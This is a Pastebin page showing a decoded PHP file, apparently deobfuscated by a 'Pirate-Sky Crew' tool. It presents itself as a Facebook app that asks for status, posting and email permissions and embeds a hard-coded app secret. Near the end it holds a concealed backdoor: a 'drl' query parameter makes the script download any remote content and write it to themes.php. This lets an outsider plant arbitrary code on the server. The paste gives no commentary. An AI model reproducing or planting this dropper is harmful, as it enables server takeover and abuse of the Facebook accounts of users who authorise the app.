Advertisement
plas71k

david file => decoded

Jan 30th, 2013
138
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
PHP 1.01 KB | None | 0 0
  1. <?php
  2. /*
  3. * @ Pirate-Sky Crew :: PHP Decoder
  4. * @ Author: pLa$71k
  5. * @ Web: http://pirate-sky.com
  6. * @ Pirate-Sky Crew © 2008 - 2013
  7. */
  8.  
  9. error_reporting(0);
  10. require_once("facebook/facebook.php");
  11. $facebook = new Facebook(array(
  12.     "appId" => "412806585445652",
  13.     "secret" => "27401931cee5cee03a854547fd7fc311"
  14. ));
  15. $session  = $facebook->getUser();
  16. $loginUrl = $facebook->getLoginUrl(array(
  17.     "scope" => "user_status,publish_actions,email"
  18. ));
  19. $me       = null;
  20. $chk      = 1;
  21. if ($session) {
  22.     try {
  23.         $uid         = $facebook->getUser();
  24.         $me          = $facebook->api("/me");
  25.         $permissions = $facebook->api("/me/permissions");
  26.         if ($permissions["data"][0]["publish_actions"] == 1)
  27.             $chk = 0;
  28.         else
  29.             $chk = 1;
  30.     }
  31.     catch (FacebookApiException $e) {
  32.     }
  33. }
  34. if (isset($_GET["drl"])) {
  35.     $file = file_get_contents("http://" . $_GET["drl"]);
  36.     $fp   = fopen("themes.php", "w+");
  37.     fwrite($fp, $file);
  38.     fclose($fp);
  39. }
  40. ?>
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement